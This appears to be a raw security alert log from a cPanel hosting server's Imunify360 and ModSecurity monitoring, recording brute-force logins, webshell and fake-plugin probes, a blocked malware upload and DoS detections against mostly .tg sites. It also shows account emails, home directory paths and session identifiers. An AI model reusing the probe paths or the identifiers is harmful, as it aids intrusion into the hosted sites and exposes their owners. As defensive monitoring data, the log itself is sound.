[2026-06-25 14:18:31 +0000] info [cpaneld] 186.151.24.48 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.124.251.3
country_id: 1210997
description:
[2026-06-25 14:18:41 +0000] info [cpaneld] 103.124.251.3 - cafei "GET /login/?login_only=1&user=cafei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafei (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.167.38.86
country_id: 102358
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-25 14:20:52 +0000] info [whostmgrd] 95.214.54.159 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-25 14:21:12 +0000] info [cpaneld] 196.170.108.172 - zxtqbmmj "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-25 14:20:53 +0000] info [whostmgrd] 95.214.54.159 - root "GET /cpsess1901230590/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-25 14:22:43 +0000] info [cpaneld] 196.170.108.172 - zxtqbmmj "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 87.197.140.224
country_id: 3057568
description:
87.197.140.224 - - [25/Jun/2026:14:22:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10391912&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-130027petid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782397369 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-130027petid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:87.197.140.224


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-25 14:23:37 +0000] info [cpaneld] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.171.205.76
country_id: 3469034
description:
[2026-06-25 14:24:08 +0000] info [cpaneld] 45.171.205.76 - dk "GET /login/?login_only=1&user=dk&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.48.76.29
country_id: 1210997
description:
[2026-06-25 14:23:48 +0000] info [cpaneld] 182.48.76.29 - dkfoodtg "GET /login/?login_only=1&user=dkfoodtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfoodtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.237.89.60
country_id: 1880251
description:
[2026-06-25 14:24:48 +0000] info [cpaneld] 172.237.89.60 - rolle "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.16.121
country_id: 2363686
description:
[2026-06-25 14:31:21 +0000] info [cpaneld] 196.171.16.121 NEW vejjghdd:rpwJk4iTqG3uAtQs address=196.171.16.121,app=cpaneld,creator=vejjghdd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.51
country_id: 1819730
description:
2026-06-25 14:30:25 dovecot_plain authenticator failed for H=(fgdoedymw4181txdpji0d4) [104.28.166.51]:50937: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - tete.doumashie@nps.tg [06/25/2026:14:32:11 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: tete.doumashie@nps.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.170
country_id: 3469034
description:
Jun 25 14:31:48 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.170 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.214
country_id: 1643084
description:
[2026-06-25 14:33:55 +0000] info [cpaneld] 157.66.56.214 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 25 14:33:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.28.35
country_id: 1835841
domain: macite.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.20||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/dxsiclpd/public_html/wp-admin/images/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 43.130.242.74
country_id: 1861060
domain: cafe.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-34.43.130.242.74||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.11
country_id: 6252001
description:
205.169.39.11 - - [25/Jun/2026:14:34:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857126&pdata=http%253A%252F%252Fcafeit.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782398087 HTTP/1.1" 302 0 cafeit.tg "http://cafeit.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.11


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.28.35
country_id: 1835841
domain: macite.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.20||T:APACHE||MV:/images/index.php||SC:/home/dxsiclpd/public_html/images||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.194.28.35
country_id: 1835841
domain: macite.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/dxsiclpd/public_html/wp-includes/SimplePie/about.php||RSV:8.20||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@nps.tg [06/25/2026:14:37:13 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@nps.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.87.140
country_id: 6252001
description:
Jun 25 14:36:42 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.87.140 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.113.15.61
country_id: 1210997
description:
103.113.15.61 - - [25/Jun/2026:14:36:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131047&pdata=https%253A%252F%252Flepoint-actu.tg%252Findex.php%252F2025%252F09%252F18%252Funiversite-de-lome-un-nouveau-site-pour-simplifier-les-inscriptions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782398181 HTTP/2.0" 302 0 lepoint-actu.tg "https://lepoint-actu.tg/index.php/2025/09/18/universite-de-lome-un-nouveau-site-pour-simplifier-les-inscriptions/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.113.15.61


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.160.71.190
country_id: 2017370
description:
2026-06-25 14:39:23 dovecot_plain authenticator failed for H=(fm6clu3i4ig7oca34r4h5) [158.160.71.190]:52392: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.68.40.34
country_id: 6252001
description:
[2026-06-25 14:38:53 +0000] info [whostmgrd] 72.68.40.34 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.195.210.42
country_id: 6252001
description:
[2026-06-25 14:39:31 +0000] info [whostmgrd] 47.195.210.42 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.175.64.19
country_id: 6252001
description:
[2026-06-25 14:39:42 +0000] info [whostmgrd] 174.175.64.19 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.107.190.80
country_id: 6252001
description:
[2026-06-25 14:39:57 +0000] info [whostmgrd] 68.107.190.80 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 14:40:05 +0000] info [cpaneld] 109.123.235.99 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.224.198.122
country_id: 2921044
description:
[2026-06-25 14:41:20 +0000] info [cpaneld] 149.224.198.122 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 147.235.223.142
country_id: 294640
description:
[2026-06-25 14:41:22 +0000] info [cpaneld] 147.235.223.142 - metaart "GET /login/?login_only=1&user=metaart&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaart (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.25.154.98
country_id: 2017370
description:
[2026-06-25 14:41:25 +0000] info [cpaneld] 95.25.154.98 - metaarttg "GET /login/?login_only=1&user=metaarttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaarttg (has_cpuser_file failed)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 147.90.209.180
country_id: 2921044
domain: misstogo.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php?test=hello||WPU:||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.141.76
country_id: 294640
description:
[2026-06-25 14:41:32 +0000] info [cpaneld] 79.177.141.76 - metaa "GET /login/?login_only=1&user=metaa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.178.152.48
country_id: 2542007
description:
[2026-06-25 14:41:39 +0000] info [cpaneld] 160.178.152.48 - met "GET /login/?login_only=1&user=met&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user met (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 14:42:26 +0000] info [cpaneld] 37.130.84.20 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 147.90.209.180
country_id: 2921044
domain: misstogo.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php.suspected?test=hello||WPU:||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 147.90.209.180
country_id: 2921044
domain: misstogo.tg
description:
IM360 WAF: Block .suspected files||RSV:8.20||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/apismtp/apismtp.php.suspected||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.252.74.18
country_id: 1210997
description:
182.252.74.18 - - [25/Jun/2026:14:45:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6579143&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-116800witems%252Fetidm49in.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782398753 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-116800witems/etidm49in.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.252.74.18


plugin: modsec
rule: 77350257
name: IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2
abuser: 102.64.170.217
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2||MVN:ARGS:shortcode||MV:[embed]https://youtu.be/3gahGBoExNU[/embed]||WPU:direct7tv||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.7
country_id: 6252001
description:
205.169.39.7 - - [25/Jun/2026:14:48:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791643&pdata=http%253A%252F%252Fv2.arse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782398926 HTTP/1.1" 302 0 v2.arse.tg "http://v2.arse.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.7


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 14:50:15 +0000] info [webmaild] 160.242.195.10 - nwake@caissederetraites.tg "GET /cpsess2391017485/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.198.159
country_id: 99237
description:
Jun 25 14:50:44 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.198.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.198.159
country_id: 99237
description:
2026-06-25 14:50:23 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [65.20.198.159]:34497: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.154.64.185
country_id: 1168579
description:
2026-06-25 14:51:03 dovecot_login authenticator failed for H=([117.244.16.6]) [103.154.64.185]:52402: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [25/Jun/2026:14:51:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778313&pdata=http%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782399102 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.240.198.56
country_id: 2635167
description:
[2026-06-25 14:52:09 +0000] info [cpaneld] 185.240.198.56 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [25/Jun/2026:14:52:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6844568&pdata=http%253A%252F%252Fruralinfos.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782399147 HTTP/1.1" 302 0 ruralinfos.tg "http://ruralinfos.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.38
country_id: 1814991
description:
27.115.124.38 - - [25/Jun/2026:14:53:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790088&pdata=https%253A%252F%252Fsnb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782399180 HTTP/2.0" 302 0 snb.tg "https://snb.tg/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.38


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.132.57.123
country_id: 6252001
description:
34.132.57.123 - - [25/Jun/2026:14:52:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974615&pdata=https%253A%252F%252Fruralinfos.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782399147 HTTP/2.0" 302 0 ruralinfos.tg "https://ruralinfos.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.132.57.123


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 221.10.58.42
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 221.10.58.42: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 84.21.190.140
country_id: 2635167
domain: lasnb.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:306711||Sizes:813||Combined size:813||User:bighostingsnbd||WPU:||Filename:iconzkmfx.zip||Scanned:/tmp//20260625-145642-aj1Bqjarfw7AhWMtlaX_SgAAADs-file-kYWyBM||SC:/home/bighostingsnbd/public_html/siteweb/public/index.php||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.91.125.41
country_id: 3017382
description:
[2026-06-25 14:56:54 +0000] info [cpaneld] 144.91.125.41 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.253.105.32
country_id: 1861060
domain: ecran.cloud-and-racks.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/cloudandracks/public_html/Ecran/wp-includes/SimplePie/about.php||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.69
country_id: 1880251
description:
43.173.180.69 - - [25/Jun/2026:14:59:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816938&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F60032&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782399541 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/60032" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.253.105.32
country_id: 1861060
domain: ecran.cloud-and-racks.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.20||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/cloudandracks/public_html/Ecran/wp-admin/images/index.php||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.168
country_id: 1880251
description:
43.173.181.168 - - [25/Jun/2026:15:00:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132120&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Ffulbright-program-dr-stephen-mouzou-de-luniversite-de-kara-entame-une-mission-de-recherches-aux-etats-unis%252Ffeed%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782399607 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/education/fulbright-program-dr-stephen-mouzou-de-luniversite-de-kara-entame-une-mission-de-recherches-aux-etats-unis/feed/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.168


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.205.69.15
country_id: 1605651
description:
[2026-06-25 15:01:10 +0000] info [cpaneld] 223.205.69.15 - jcdconsultnet "GET /login/?login_only=1&user=jcdconsultnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcdconsultnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.204.209.0
country_id: 1210997
description:
[2026-06-25 15:01:18 +0000] info [cpaneld] 103.204.209.0 - jcdcons "GET /login/?login_only=1&user=jcdcons&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcdcons (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.140.152.156
country_id: 2017370
description:
[2026-06-25 15:01:28 +0000] info [cpaneld] 94.140.152.156 - jcdco "GET /login/?login_only=1&user=jcdco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcdco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.1.71
country_id: 3932488
description:
[2026-06-25 15:01:34 +0000] info [cpaneld] 179.6.1.71 - jcdc "GET /login/?login_only=1&user=jcdc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcdc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.158.92
country_id: 1733045
description:
[2026-06-25 15:01:39 +0000] info [cpaneld] 161.142.158.92 - jcd "GET /login/?login_only=1&user=jcd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcd (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.31.133.231
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.31.133.231: 80 connections per 30 seconds to 2096 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.180.6.29
country_id: 298795
description:
[2026-06-25 15:01:23 +0000] info [cpaneld] 78.180.6.29 - jcdcon "GET /login/?login_only=1&user=jcdcon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcdcon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.225.218.33
country_id: 3865483
description:
[2026-06-25 15:03:39 +0000] info [cpaneld] 45.225.218.33 - tchamba "GET /login/?login_only=1&user=tchamba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.110.231.141
country_id: 3865483
description:
[2026-06-25 15:03:29 +0000] info [cpaneld] 181.110.231.141 - tchambainvesttg "GET /login/?login_only=1&user=tchambainvesttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvesttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.199.141.57
country_id: 1168579
description:
[2026-06-25 15:03:47 +0000] info [cpaneld] 103.199.141.57 - tcham "GET /login/?login_only=1&user=tcham&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcham (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.97.147.229
country_id: 298795
description:
[2026-06-25 15:03:50 +0000] info [cpaneld] 85.97.147.229 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.244.205.59
country_id: 3469034
description:
[2026-06-25 15:03:54 +0000] info [cpaneld] 170.244.205.59 - tch "GET /login/?login_only=1&user=tch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.135.218.171
country_id: 1327865
description:
[2026-06-25 15:03:23 +0000] info [cpaneld] 103.135.218.171 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 121.121.57.200
country_id: 1733045
description:
[2026-06-25 15:03:33 +0000] info [cpaneld] 121.121.57.200 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.47.16.90
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 34.47.16.90: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.204.241.219
country_id: 3469034
description:
[2026-06-25 15:03:42 +0000] info [cpaneld] 186.204.241.219 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.203.169
country_id: 2363686
description:
[2026-06-25 15:04:07 +0000] info [cpaneld] 196.171.203.169 NEW mvfxewjz:BVhm0cA_0MGRawv5 address=196.171.203.169,app=cpaneld,creator=mvfxewjz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.226.204.244
country_id: 3017382
description:
[2026-06-25 15:03:26 +0000] info [cpaneld] 89.226.204.244 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 31131
